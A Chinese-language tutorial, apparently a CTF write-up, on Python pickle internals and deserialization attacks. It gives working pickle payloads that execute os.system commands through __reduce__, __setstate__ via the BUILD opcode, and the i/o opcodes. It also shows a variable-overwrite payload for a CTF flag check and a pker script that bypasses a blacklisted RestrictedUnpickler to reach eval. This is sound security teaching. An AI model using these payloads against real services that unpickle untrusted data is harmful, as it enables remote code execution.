pickle与序列化和反序列化
pickle.dumps(object)
:用于序列化一个对象pickle.loads(picklestring)
:用于反序列化数据,实现一个对象的构建
测试代码:
#python3.7
import pickle
class test_1():
def __init__(self):
self.name = 'LH'
self.age = 20
class test_2():
name = 'LH'
age = 20
test1 = test_1()
a_1 = pickle.dumps(test1)
test2 = test_2()
a_2 = pickle.dumps(test2)
print("test_1序列化结果:")
print(a_1)
print("test_2序列化结果:")
print(a_2)
b_1 = pickle.loads(a_1)
b_2 = pickle.loads(a_2)
print("test_1反序列化结果:")
print(b_1.name)
print(b_1.age)
print("test_2反序列化结果:")
print(b_2.name)
print(b_2.age)
运行结果:
可以看到序列化结果长短不同,这是因为待处理的类里面有无__init__
造成的,test_2类没有使用__init__
所以序列化结果并没有涉及到name
和age
。但是反序列化之后仍然可以得到对应的属性值。
另外:如果在反序列化生成一个对象以前删除了这个对象对应的类,那么我们在反序列化的过程中因为对象在当前的运行环境中没有找到这个类就会报错,从而反序列化失败。
__reduce__()
类似于PHP中的__wakeup__
魔法函数。如果当__reduce__
返回值为一个元组(2到5个参数),第一个参数是可调用(callable)的对象,第二个是该对象所需的参数元组。在这种情况下,反序列化时会自动执行__reduce__里面的操作。
测试代码:
#python3.7
import os
import pickle
class A():
def __reduce__(self):
cmd = "whoami"
return (os.system,(cmd,))
a=A()
str=pickle.dumps(a)
pickle.loads(str)
运行结果:
现在把关注点放在序列化数据,以及如何根据序列化数据实现反序列化。
指定protocol
pickle.dumps(object)
在生成序列化数据时可以指定protocol参数,其取值包括:
- 当protocol=0时,序列化之后的数据流是可读的(ASCII码)
- 当protocol=3时,为python3的默认protocol值,序列化之后的数据流是hex码
更改代码:
#python3.7
import os
import pickle
class A():
def __reduce__(self):
cmd = "whoami"
return (os.system,(cmd,))
a=A()
str=pickle.dumps(a,protocol=0)
print(str)
print(str.decode()) #将byte类型转化为string类型
运行结果:
不了解pickle
的相关指令的话,以上序列化结果根本看不懂:
pickle
相关的指令码与作用:
这里注意到R
操作码,执行了可调用对象,可知它其实就是__reduce__()
的底层实现。
其他指令可以在python的lib文件下的pickle.py查看:
对运行结果分解:
涉及到指令码,可以把pickle理解成一门栈语言:
- pickle解析依靠Pickle Virtual Machine (PVM)进行。
- PVM涉及到三个部分:1. 解析引擎 2. 栈 3. 内存:
- 解析引擎:从流中读取指令码和参数,并对其进行解释处理。重复这个动作,直到遇到
.
停止。最终留在栈顶的值将被作为反序列化对象返回 - 栈:由Python的list实现,被用来临时存储数据、参数以及对象
- memo列表:由Python的dict实现,为PVM的生命周期提供存储数据的作用,以便后来的使用
- 解析引擎:从流中读取指令码和参数,并对其进行解释处理。重复这个动作,直到遇到
结合上面的指令码与作用,可以分析出具体的过程。
具体过程
首先是:
cnt
system
也即引入nt.system
,这里的nt
是模块os
的名称name
,os.name
在不同环境对应的值不同:
Windows下为nt
:
Linux下为posix
:
posix
是 Portable Operating System Interface of UNIX
(可移植操作系统接口)的缩写。Linux 和 Mac OS 均会返回该值。
然后再执行p0
,将栈顶内容写入到列表中,由于是列表第一个数据因此索引为0:
接下去执行(Vwhoami
,(
是将一个标志位MASK压入栈中,Vwhoami
就是将字符串“whoami”压入栈中:
接下去执行p1
,将栈顶数据"whoami"写入列表,索引为1:
再执行tp2
,首先栈弹出从栈顶到MASK标志位的数据,将其转化为元组类型,然后再压入栈。最后p2
将栈顶数据(也即元组)写入列表,索引为2:
再执行Rp3
,先将之前压入栈中的元组和可调用对象全部弹出然后执行,这里也即执行nt.system("whoami")
,接着将结果压入栈。最后p3
将栈顶数据(也即执行结果)写入列表,索引为3:
总的过程如下:
由于memo列表只是起到一个存储数据的作用,如果目的只是想要执行nt.system("whoami")
,可以将原序列化数据中有关写入列表的操作给去除。也即原b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
可简化为b'cnt\nsystem\n(Vwhoami\ntR.'
,仍然是可以达到执行目的的:
pickletools模块
官方说明:
相关接口:
pickletools.dis(picklestring)
:可以更方便的看到每一步的操作原理。如上面的例子执行该方法:
pickletools.optimize(picklestring)
:
消除未使用的 PUT 操作码之后返回一个新的等效 pickle 字符串。 优化后的 pickle 将更为简短,耗费更为的传输时间,要求更少的存储空间并能更高效地解封。也即上面分析能够经过简化的过程:
测试代码:
#python3.7
import pickle
import pickle
import pickletools
class person():
def __init__(self, name, age):
self.name = name
self.age = age
me = person('LH', 20)
str = pickle.dumps(me)
print(str)
pickletools.dis(str)
运行结果:
b'\x80\x03c__main__\nperson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x02\x00\x00\x00LHq\x04X\x03\x00\x00\x00ageq\x05K\x14ub.'
0: \x80 PROTO 3
2: c GLOBAL '__main__ person'
19: q BINPUT 0
21: ) EMPTY_TUPLE
22: \x81 NEWOBJ
23: q BINPUT 1
25: } EMPTY_DICT
26: q BINPUT 2
28: ( MARK
29: X BINUNICODE 'name'
38: q BINPUT 3
40: X BINUNICODE 'LH'
47: q BINPUT 4
49: X BINUNICODE 'age'
57: q BINPUT 5
59: K BININT1 20
61: u SETITEMS (MARK at 28)
62: b BUILD
63: . STOP
highest protocol among opcodes = 2
对str
使用pickle.optimize
进行简化:
>>>str=b'\x80\x03c__main__\nperson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x02\x00\x00\x00LHq\x04X\x03\x00\x00\x00ageq\x05K\x14ub.'
>>>pickletools.optimize(str)
>>>b'\x80\x03c__main__\nperson\n)\x81}(X\x04\x00\x00\x00nameX\x02\x00\x00\x00LHX\x03\x00\x00\x00ageK\x14ub.'
应用
修改刚才源码:
#python3.7
import base64
import pickle
import otherpeople
class person():
def __init__(self, name, age):
self.name = name
self.age = age
me=pickle.loads(base64.b64decode(input()))
if otherpeople.name==me.name and otherpeople.age==me.age:
print("flag")
else:
print("hack")
同目录下新建otherpeople文件夹,写入__init.py__用于新建一个模板:
name = 'Dr.liu'
age = 21
要求我们输入待反序列化的数据,使得反序列化之后为person
类的一个对象me
,如果me.name
与me.age
分别等于otherpeople
模板的name
和age
,才能得到flag。如果把刚才的序列化数据中的LH
和20
改成模板中的Dr.liu
和21
则能实现:
但是此时我们并不知道otherpeople
模板的内容,所以并不能实现。
根据前面的例子可知,引用模块在pickle
中对应的操作码是c
,所以可以根据其书写规则得到otherpeople.name
和otherpeople.age
对应的序列化数据是cotherpeople\nname\n
和cotherpeople\nage\n
,将原数据进行替换:
再对替换的结果进行base64编码:
>>>import base64
>>>base64.b64encode(b'\x80\x03c__main__\nperson\n)\x81}(X\x04\x00\x00\x00namecotherpeople\nname\nX\x03\x00\x00\x00agecotherpeople\nage\nub.')
>>>b'gANjX19tYWluX18KcGVyc29uCimBfShYBAAAAG5hbWVjb3RoZXJwZW9wbGUKbmFtZQpYAwAAAGFnZWNvdGhlcnBlb3BsZQphZ2UKdWIu'
验证:
限制module
pickle
源码中,c指令是基于find_class
这个方法实现的,然而find_class
可以被出题人重写。如果出题人只允许c指令包含__main__
这一个module、不允许导入其他module,也即刚才的cotherpeople
被限制了。此时又该如何绕过呢?
回到刚才的测试代码的运行结果,发现pickle
是构建person
的过程是完全可视的,而且是在__main__
这个module进行构建的:
那么就可以根据pickle语法,插入一段数据,这段数据用于在__main__
中构建一个otherpeople
对象,此时otherpeople.name
和otherpeople.age
也是可控的,这样我们就可以覆盖掉原本未知的Dr.liu
和21
,只需确保和person.name
和person.age
相等即可。
先放出示意图:
解释一下恶意插入的序列化数据:
b'c__main__\notherpeople\n}(Vname\nVsunxiaokong\nVage\nK\x16ub0'
1、首先类比构建person
对象时的语法:c__main__\notherpeople\n}
2、接下去(
操作码表示将压入一个元组到栈中,V
操作码表示跟在它后面的数据是一个字符串,K
操作码表示跟在它后面的数据是一个整型数字,Vname\nVsunxiaokong\nVage\nK\x16
表示的元组为:{'name':'sunxiaokong','age':22}
3、然后u
操作码规定了即将构建的对象的界限,b
操作码用于构造对象
4、0
操作码将该对象(栈顶元素)从栈弹出
经过上面的操作此时otherpeople.name='sunxiaokong'
、otherpeople.age=22
,因此后半段person
中相应的属性也应该改成相同的值:
X\x04\x00\x00\x00nameX\x0b\x00\x00\x00sunxiaokongX\x03\x00\x00\x00ageK\x16
验证:
>>>base64.b64encode(b'\x80\x03c__main__\notherpeople\n}(Vname\nVsunxiaokong\nVage\nK\x16ub0c__main__\nperson\n)\x81}(X\x04\x00\x00\x00nameX\x0b\x00\x00\x00sunxiaokongX\x03\x00\x00\x00ageK\x16ub.')
b'gANjX19tYWluX18Kb3RoZXJwZW9wbGUKfShWbmFtZQpWc3VueGlhb2tvbmcKVmFnZQpLFnViMGNfX21haW5fXwpwZXJzb24KKYF9KFgEAAAAbmFtZVgLAAAAc3VueGlhb2tvbmdYAwAAAGFnZUsWdWIu'
以上思路也是“2020高校战疫”webtmp的解题思路
限制__reduce()__
如果限制__reduce()__
,需要另外一个知识点:
关注操作码b
:
跟进到load_build
函数:
def load_build(self):
stack = self.stack
state = stack.pop()
inst = stack[-1]
setstate = getattr(inst, "__setstate__", None) #获取inst的__setstate__方法
if setstate is not None:
setstate(state)
return
slotstate = None
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
if state:
inst_dict = inst.__dict__
intern = sys.intern
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v
else:
inst_dict[k] = v
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v)
dispatch[BUILD[0]] = load_build
把当前栈栈顶数据记为state
,然后弹出,再把接下去的栈顶数据记为inst
关注到第七行的setstate(state)
,这意味着可以RCE,但是inst
原先是没有__setstate__
这个方法的。可以利用{‘__setstate__
’: os.system
}来BUILD这个对象,那么现在inst
的__setstate__
方法就变成了os.system
;另外再确保state
也即一开始的栈顶元素为calc.exe
,则会执行setstate(“calc.exe”)
,也即os.system("calc.exe")
。
上面的操作对应的payload如下:
b'\x80\x03c__main__\nA\n)\x81}(V__setstate__\ncos\nsystem\nubVcalc.exe\nb.'
验证代码:
import os
import pickle
import pickletools
class A():
#balabala·····
str=b'\x80\x03c__main__\nA\n)\x81}(V__setstate__\ncos\nsystem\nubVcalc.exe\nb.'
pickle.loads(str)
除了操作码b
可以利用外,还有i
和o
操作码可以实现RCE:
b'(S\'whoami\'\nios\nsystem\n.'
b'(cos\nsystem\nS\'whoami\'\no.'
payload的构造可以参照对应的作用:
工具pker
借助该工具,可以省去人工构造payload,根据自己的相关需求可以自动生成相应的序列化数据。
pker主要用到GLOBAL、INST、OBJ三种特殊的函数以及一些必要的转换方式:
- GLOBAL :用来获取module下的一个全局对象,对应操作码
c
,如GLOBAL('os', 'system')
- INST :建立并入栈一个对象(可以执行一个函数),对应操作码
i
,如INST('os','system','ls')
,输入规则按照:module,callable,para
- OBJ :建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数),对应操作码
o
。 如OBJ(GLOBAL('os','system'),'ls')
,输入规则按照:callable,para
- xxx(xx,...): 使用参数xx调用函数xxx,对应操作码
R
- li[0]=321或globals_dic['local_var']='hello' :更新列表或字典的某项的值,对应操作码
s
- xx.attr=123:对xx对象进行属性设置,对应操作码
b
- return :出栈,对应操作码
0
使用例子:
1、用于执行os.system("whoami")
:
s='whoami'
system = GLOBAL('os', 'system')
system(s) # b'R'调用 return
2、全局变量覆盖举例:
secret=GLOBAL('__main__', 'secret')
secret.name='1'
secret.category='2'
以刚刚上面那道只允许引入__main__
模块的变量覆盖为例,对应的pker代码:
otherpeople = GLOBAL('__main__','otherpeople')
otherpeople.name = 'sunxiaokong'
otherpeople.age = 22
new = INST('__main__', 'person','sunxiaokong',20)
return new
Code-Breaking picklecode
import pickle
import base64
import builtins
import io
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
restricted_loads(base64.b64decode(input()))
代码的主要内容就是限制了反序列化的内容,规定了我们只能引用builtins
这个模块,而且禁止了里面的一些函数。但是没有禁止getattr
这个方法,因此我们可以构造builtins.getattr(builtins,’eval’)
的方法来构造eval
函数。pickle不能直接获取builtins
一级模块,但可以通过builtins.globals()
获得builtins
;这样就可以执行任意代码了。
用pker构造payload:
#先借助builtins.globals获取builtins模块
getattr=GLOBAL('builtins','getattr')
dict=GLOBAL('builtins','dict')
dict_get=getattr(dict,'get')
glo_dic=GLOBAL('builtins','globals')()
builtins=dict_get(glo_dic,'builtins')
#再用builtins模块获取eval函数
eval=getattr(builtins,'eval')
eval('ls')
return